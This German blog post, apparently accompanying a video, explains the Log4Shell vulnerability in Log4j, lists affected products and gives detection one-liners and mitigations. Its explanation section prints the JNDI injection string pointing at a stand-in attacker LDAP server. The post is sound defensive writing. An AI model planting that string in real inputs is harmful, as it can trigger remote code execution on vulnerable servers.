Wie bereits im Forum gepostet, wurde Ende der Woche eine schwere Sicherheitslücke in der Java-Bibliothek Log4j bekannt: Sie ist sehr verbreitet und daher sind zahlreiche große Softwareprojekte und Technikkonzerne betroffen. In diesem Beitrag möchte ich euch die Problematik erklären sowie aufzeigen, wer alles betroffen ist. Und natürlich werden wir uns auch anschauen, wie ihr selbst prüfen könnt, ob verwundbare Dienste existieren und wie diese abgesichert werden.
Was ist Log4j?
Log4j ist eine Bibliothek, um Anwendungsmeldungen von Java-Programmen zu protokollieren – etwa in Log-Dateien. Diese Funktion benötigen viele Programme. Damit nicht jeder Entwickler das Rad neu erfinden muss, wurde 1996 Log4j gegründet. Es bietet viele Einstellungsmöglichkeiten und gilt als ausgereift. Außerdem ist es als freie Software kostenfrei nutzbar und wird von der gemeinnützigen Apache-Organisation gepflegt. Diese verwendet sie auch in eigenen Projekten wie z.B. Solr oder Tomcat.
Was ist „Log4Bash“ (CVE-2021-44228)?
Über die Log4Bash getaufte Sicherheitslücke lässt sich beliebiger Java-Code in Programme einschleusen, die eine verwundbare Version von Log4j einsetzen. Auch Konsolenbefehle kann man ausführen, daher stammt auch der Name Log4Bash – also Bash für die Linux-Shell. Der Angreifer muss dazu nur eine Zeichenkette in folgendem Format ins Protokoll schreiben:
logger.error("${jndi:ldap://mein-server.com:1389/a}");
Über das Dollar-Zeichen erlaubt Log4j Variablen-Substitution. JNDI steht für Java Naming and Directory Interface, also eine Schnittstelle zum Zugriff auf Namens- und Verzeichnisdienste. In diesem Beispiel wird eine Verbindung zu einem LDAP Verzeichnisdienst auf mein-server.com hergestellt. Die große Gefahr dabei: JNDI kann auch Java-Klassen vom entfernten Server ausführen.
Wie entsteht dadurch in der Praxis eine Verwundbarkeit?
Der Angreifer benötigt also nur einen präparierten LDAP-Server im Internet und muss es schaffen, die Zeichenkette ${jndi:ldap://mein-server.com:1389/a} über Log4j ins Protokoll schreiben zu lassen. Wenn der Zielserver Internetzugriff hat, kann der Angreifer nun mit Rechten des jeweiligen Anwendungsservers beliebigen Code ausführen.
Daten von Außerhalb sind in Logs keine Seltenheit: Schließlich sollen sie dem Administrator möglichst viele Informationen liefern. Ein klassisches Beispiel sind HTTP-Header wie der User-Agent. Sie werden von einigen Anwendungen sogar standardmäßig ins Protokoll geschrieben. Aber das ist nur ein Beispiel von vielen: Man stelle sich z.B. ein Registrierungsformular vor. Wenn bestimmte Angaben wie Nutzername oder E-Mail nicht den Vorgaben entsprechen, wird dies zur Fehleranalyse vielleicht protokolliert.
Wie gefährlich ist Log4Shell?
Die Lücke kann daher recht leicht ausgenutzt werden und das wird sie auch bereits. Auf von mir betreuten Systemen habe ich bereits am Samstag erste Angriffsversuche festgestellt. Diese konnten abgewehrt werden, aber ohne entsprechende Vorkehrungen steht ihr da als Betroffene mit ziemlich weit heruntergelassenen Hosen da. Aus diesem Grunde ist mein heutiger Beitrag visuell weniger aufwendig gestaltet als sonst, um möglichst schnell zu informieren. Die Sicherheitslücke hat einen SVSS-Score 10 auf einer Skala von 0 bis 10. Bei der höchsten Stufe lässt man alles stehen und liegen und patcht sofort seine Systeme oder schaltet diese im Extremfall erst einmal bis zur Klärung ab.
Da Log4Shell bereits aktiv ausgenutzt wird, zählt hier tatsächlich jede Minute. Wiegt euch bitte nicht in falscher Sicherheit, weil niemand eure Domain kennt oder ähnliches. Heutzutage wird das Internet von zahlreichen Akteuren systematisch gescannt. Als würde jemand alle möglichen Telefonnummern systematisch durchprobieren. Da hilft es euch nicht viel, einen Eintrag ins Telefonbuch abzulehnen.
Woher weiß ich, ob ich betroffen bin?
Log4j gibt es auch für andere Sprachen, laut bisherigen Informationen ist nur Java betroffen. Sofern ihr Java-Anwendungen einsetzt, solltet ihr diese daher so schnell wie möglich überprüfen. Vor allem dann, wenn diese übers Internet erreichbar sind. Falls nicht, solltet ihr euch aber nicht in Sicherheit wiegen: Möglicherweise sind diese Systeme über andere Systeme, mit denen sie vernetzt sind, trotzdem verwundbar.
Ein Beispiel: Elasticsearch ist eine in Java geschriebene Suchmaschine und von Log4Bash verwundbar. Wenn Elasticsearch nicht übers Internet erreichbar ist, dafür aber eine andere Anwendung die wiederum auf Elasticsearch zugreift, kann sie über diesen Umweg möglicherweise doch angegriffen werden. Auch Versprechen von Herstellern, die betonen, nicht verwundbar zu sein, würde ich mit Vorsicht genießen. In der Vergangenheit hat sich später schon mehr als einmal herausgestellt, dass sie es doch sind.
Ein weiteres Beispiel ist das Spiel Minecraft: Dort ist der integrierte Chat verwundbar. Ihr seht also, es kann durchaus Stellen treffen, wo man dies nicht unbedingt vermuten würde.
Als Administrator kann ein erster Ansatzpunkt die Liste von bereits getesteten Programmen sein. Hier wurde sich nicht auf die Aussage vom Hersteller verlassen, sondern selbst getestet. Unabhängig davon solltest du deine Anwendungen am besten selbst untersuchen. Hilfreich kann es sein, nach der Jar-Datei von Log4j zu suchen:
sudo find / -name log4j-core-*.jar
Allerdings werden Abhängigkeiten teilweise in einer weiteren JAR gebündelt. Dies ist beispielsweise bei Minecraft der Fall. Man sollte daher auch die JARs selbst durchsuchen. Ich habe dazu folgenden Einzeiler entwickelt:
sudo find / -name \*.jar -exec sh -c "if zipinfo {} | grep JndiLookup.class; then echo -e '{}\n'; fi" \; 2>/dev/null
Er sucht systemweit nach Jar-Dateien, listet deren Inhalt auf und sucht nach JndiLookup. Das ist die Klasse, welche die Sicherheitslücke erst möglich macht.
Ergänzung: 2>/dev/null hinzugefügt. Damit werden Fehler (stderr) verworfen, die z.B. in /run oder /proc auftreten können. Dort liegen spezielle Dateien, bei denen selbst mit root-Rechten Zugriffsfehler auftreten können. Sofern ihr den Befehl mit ausreichend rechten (als root oder mit sudo) ausführt, kann man die Zugriffsfehler in diesen speziellen Dateisystemen ignorieren.
Wie kann ich mich akut gegen Log4Shell schützen?
Seitens Log4j gibt es mit Version 2.15.0 ein Sicherheitsupdate, welches die Lücke behebt. Allerdings ist dies bei nicht selbst entwickelter Software schwierig von Hand einzuspielen, da Log4j ja in der Regel in andere Programme integriert ist. Hast du betroffene Anwendungen entdeckt, am besten nach Sicherheitsupdates vom Hersteller schauen. Manche haben bereits reagiert. Da Log4Shell erst kurz vor dem Wochenende bekannt wurde, haben viele aber noch keine Aktualisierungen bereitgestellt.
In diesem Falle gibt es mehrere Workarounds: Wenn die eingesetzte Log4j Version neuer als 2.10 aber älter als 2.15.0 ist, kann man log4j2.formatMsgNoLookups in der log4j.properties Konfigurationsdatei auf true setzen:
log4j2.formatMsgNoLookups=true
Dadurch werden die Substitutionen mit dem Dollar-Zeichen entschärft. Alternativ kann dies auch als Parameter für die JVM setzen:
-Dlog4j2.formatMsgNoLookups=true
Oder global als Umgebungsvariable:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Sofern JDNI nicht genutzt wird, besteht eine weitere Möglichkeit darin, die betroffene Klasse JndiLookup.class schlicht zu entfernen:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
In diesem Beispiel muss die log4j Jar-Datei direkt vorliegen. Ist dies nicht der Fall, weil sie sich z.B. wie bei Mincraft in einer weiteren Jar-Datei befindet, entsprechend den Dateiname und Pfad anpassen.
Auch fertige Software betroffen
Es sind aber nicht nur bewusst selbst betriebene Java-Anwendungen betroffen. Log4j steckt in zahlreichen Anwendungen, wo es der Anwender oft gar nicht weiß: Etwa Netzwerkgeräte von Ubiquiti. Sie sind auch bei Privatanwendern im Einsatz, etwa als WLAN-Router. Deren Verwaltungsoberfläche UniFi ist verwundbar und wurde kürzlich aktualisiert.
Viele Hersteller untersuchen derzeit noch ihre Produkte und haben daher weder Warnungen noch Entwarnungen verkündet. Es empfiehlt sich daher, in den nächsten Tagen/Wochen wachsam zu sein und Aktualisierungen möglichst schnell einzuspielen. Ein Augenmerk sollte man auch auf ältere Geräte haben, die ggf. ebenfalls verwundbar sind, aber keine Aktualisierungen mehr erhalten. Gerade bei Smart Home Geräten ist Java durchaus auch vertreten.
Das Anwaltspostfach „beA“ ist ebenfalls betroffen und hat am Samstag die Reißleine gezogen, das Programm war offline. Als akute Maßnahme durchaus positiv. Wobei beA leider weit schwerwiegendere Mängel aufweist, bei denen seit längerer Zeit wenig bis gar nichts passiert – etwa die fehlende Ende-zu-Ende-Verschlüsselung. Aber das ist ein anderes Thema.
Fazit: Was wir aus Log4Shell lernen können
Aufgrund seiner Verbreitung wird Log4Shell wohl viele Unternehmen und Hobby-Admins wohl noch eine Weile beschäftigen. Derzeit ist alles recht neu und das komplette Ausmaß nicht abschließend klar, in einigen Tagen werden wir mehr wissen. Da YouTube keine Aktualisierung der Videos erlaubt, werde ich neue Infos im U-Labs Forum posten. Den Link zum Thread findet Ihr in der Beschreibung. Bedenkt daher, dass dieses Video ggf. nicht mehr 100% aktuell ist, wenn ihr es erst in einigen Tagen anschaut.
Meiner Ansicht nach zeigt Log4Shell zwei große Missstände auf:
- Der Trend, zunehmend Drittanbieter-Abhängigkeiten in seine Projekte zu laden. Nicht nur unter NPM werden Pakete schnell mal installiert, ohne sie genauer zu prüfen.
- Zentrale Programme und Bibliotheken werden von unzähligen Projekten und sogar Großkonzernen genutzt. Nur eine sehr kleine Minderheit beteiligt sich an diesen Projekten, sei es finanziell oder mit Manpower, damit die Qualität sichergestellt und verbessert werden kann.
Beide Probleme sind nicht neu. Mit OpenSSL beispielsweise hatten wir vor ein paar Jahren ein ähnliches Problem. Ich halte daher vor allem bei Unternehmen ein Umdenken für nötig: Auch wenn ich die Verwendung von quelloffener Software begrüße, kann das kein blindes Nehmen sein, ohne etwas zurück zu geben. Gerade für Großkonzerne wie Apple, Twitter, Amazon, Tesla oder Google wäre es nicht mehr als ein Taschengeld, angemessen in Open Source zu investieren – und trotzdem würden sie profitieren. Studien zeigen dagegen eher das Gegenteil: Je kleiner das Unternehmen, um so mehr wird zumindest in der EU investiert.
Weiterführende Links/Quellen
- https://logging.apache.org/log4j/2.x/security.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://www.randori.com/wp-content/uploads/2021/12/Fastly-Log4j.png
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- https://github.com/YfryTchsGD/Log4jAttackSurface
- https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Minecraft.md
- https://github.com/0x0021h/apache-log4j-rce/blob/main/poc/src/main/java/log4j.java
- https://httpd.apache.org/docs/2.4/logs.html
- https://github.com/Netflix/spectator/commit/455cdcdbbad60cc5e21c9b83e96c35a7bd400d3e
- https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1
- https://portal.beasupport.de/external/c/aktuelles
- https://www.heise.de/news/Studie-Open-Source-traegt-95-Milliarden-Euro-zur-EU-Wirtschaftskraft-bei-5047848.html
- https://www.telekom.com/de/blog/konzern/artikel/-heartbleed-entwickler-spricht-ueber-fehler-bei-openssl-programmierung-64714
- https://www.csoonline.com/article/3644472/apache-log4j-vulnerability-actively-exploited-impacting-millions-of-java-based-apps.html
- https://www.heise.de/news/Unbekannte-infiltrieren-Paketmanager-npm-und-verseuchen-Tools-mit-Schadcode-6260153.html